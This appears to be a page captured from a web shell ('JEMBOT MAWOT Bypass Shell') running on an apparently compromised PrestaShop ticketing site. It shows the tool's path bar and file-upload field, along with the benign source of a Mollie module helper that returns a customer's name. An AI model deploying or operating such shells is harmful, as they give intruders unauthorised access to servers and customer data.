JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/mollie/src/Utility/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/mollie/src/Utility/CustomerUtility.php

<?php
/**
 * Mollie       https://www.mollie.nl
 *
 * @author      Mollie B.V. <info@mollie.nl>
 * @copyright   Mollie B.V.
 * @license     https://github.com/mollie/PrestaShop/blob/master/LICENSE.md
 *
 * @see        https://github.com/mollie/PrestaShop
 * @codingStandardsIgnoreStart
 */

namespace Mollie\Utility;

use Customer;
use Validate;

if (!defined('_PS_VERSION_')) {
    exit;
}

class CustomerUtility
{
    /**
     * @param int $id
     *
     * @return string
     */
    public static function getCustomerFullName($id)
    {
        $customer = new Customer($id);

        if (!Validate::isLoadedObject($customer)) {
            return '';
        }

        return "{$customer->firstname} {$customer->lastname}";
    }
}

xxxxx1.0, XXX xxxx